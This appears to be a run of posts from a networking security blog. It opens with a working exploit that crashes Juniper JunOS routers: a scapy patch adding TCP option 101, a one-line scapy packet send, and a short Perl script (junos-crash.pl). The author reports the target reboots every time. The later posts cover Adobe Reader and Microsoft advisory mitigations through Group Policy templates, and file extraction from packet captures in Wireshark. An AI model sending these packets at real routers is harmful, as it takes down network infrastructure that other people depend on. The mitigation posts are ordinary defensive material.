evilrouters.net

Photo from gr33ndata.

I just quickly hacked up scapy so that it would support sending TCP packets with option kind 0×65 (decimal 101). A diff is below (basically, just need to add two lines).

For reference, I’m on a FreeBSD 8.0 box running scapy 2.1.0 (from ports). inet.py is located in /usr/local/lib/python2.6/site-packages/scapy/layers.

$ diff inet.py inet.py.bak
203,204c203
<                 15 : ("AltChkSumOpt",None),
<                 101 : ("JunOS",None)
---
>                 15 : ("AltChkSumOpt",None)
215d213
<                 "JunOS":101
$

Once we've done that, we can then use scapy to launch a JunOS killin' packet for us!

$ sudo scapy
Welcome to Scapy (2.1.0)
>>> p=IP(dst='192.168.1.61')/TCP(dport=23,flags='S',options=[('JunOS', '')])
>>> send(p)
.
Sent 1 packets.
>>>

The box, of course, crashed and rebooted immediately.

This code works for me, over and over again. Let me know if it works for you. Sorry about the shitty quality of the video, all I had handy was my Blackberry.

UPDATE: I’ve posted a much better video of the crash in action.

$ cat junos-crash.pl 
#!/usr/bin/perl

my $host =      shift;
my $port =      shift;

use             Net::Packet qw($Env);

use             Net::Packet::IPv4;
my $ip =        Net::Packet::IPv4->new(dst => $host);

use             Net::Packet::TCP;

my $tcp =       Net::Packet::TCP->new(
                    dst         => $port,
                    options     =>  "\x65\x02\x01\x01", 
                );

use             Net::Packet::Frame;
my $frame =     Net::Packet::Frame->new(l3 => $ip, l4 => $tcp);

$frame->send;

Now can I see your advisory, Juniper?

UPDATE: Nevermind, Juniper, I found it.

Yesterday, December 15th, Adobe posted APSA09-07, “Security Advisory for Adobe Reader and Acrobat”, which is summarized as follows:

Adobe has confirmed a critical vulnerability in Adobe Reader and Acrobat 9.2 and earlier versions that could cause a crash and potentially allow an attacker to take control of the affected system. There are reports that this vulnerability is being actively exploited in the wild. Adobe recommends customers follow the mitigation guidance below until a patch is available.

Furthermore, Adobe mentioned that they plan to release an update by January 12, 2010. That’s 28 days — a LONG time for a security vulnerability that is being actively exploited in the wild. Fortunately, there appears to be a simple way to mitigate this vulnerability: disable JavaScript.

For individual users or those not on a corporate network, the easiest way is to simply do the following:

• Launch Adobe Acrobat or Adobe Reader
• Select Edit, then Preferences
• Select the JavaScript category
• Uncheck the “Enable Acrobat JavaScript” option
• Click OK

This should mitigate the issue.

Unfortunately, some of us have hundreds or thousands of desktops and visiting each one to change this setting is not feasible. Luckily, I stumbled across an Administrative Template for a Group Policy Object that was created by Elazar Broad earlier this year, in reference to APSA09-01. For those who may not be completely familiar with creating a Group Policy Object using this Administrative Template to disable the JavaScript functionality domainwide, I have created a video demonstration of how to do so.

First, download the administrative template here, then click here to watch the video.

In case you haven’t been paying attention lately, Microsoft has recently released a couple of security advisories: 972890 and 973472.

Both of them are bad news — unpatched vulnerabilities allowing remote code execution. Microsoft has also stated in each of the security advisories:

We are aware of attacks attempting to exploit the vulnerability.

That’s bad news. At this time I’m writing this, the Internet Storm Center is already reporting more than two million infections in China alone.

While there are currently no patches, Microsoft has published workarounds for these issues. They involve setting a grand total of 47 killbits of Class Identifiers. This might be okay if you have only one PC and a couple hours to kill. For those of us who work in large organizations with hundreds or thousands of PCs, that’s just not feasible.

I have posted two administrative templates that can be used in group policy objects (GPOs) to automate this. They can be downloaded here:

• Administrative template for MS 972890
• Administrative template for MS 973472

For those who may not be used to using their own administrative templates to push out registry settings like this, I’ve recorded a video for you. I hope it’s helpful!

• If your screen isn’t “wide” enough, you can watch the video here instead.

A couple hours ago, Jeremy Stretch posted an article entitled “Quick and dirty packet capture data extraction” in which he shows how one can extract a JPEG image from a packet capture containing the HTTP stream.

Stretch’s method uses “foremost” to recover the original file which works, but… there’s an even quicker way to do it. Actually, just like with Perl, TMTOWTDI.

I made two videos showing how to extract files from data streams within Wireshark. Instead of embedding them in this post, I’m linking to them instead as they are quite large (resolution wise).

• Video 1: Extracting objects from HTTP streams (shows how to extract the same JPEG from the same capture)
• Video 2: Extracting a PDF from an HTTP stream (shows how to extract a PDF file from a different capture)

Hopefully this will be helpful to some others, it definitely has been to me. Thanks to Jeremy Stretch for the idea, and the guys who taught my SANS Comprehensive Packet Analysis (SEC 556) class for originally showing me how to do it!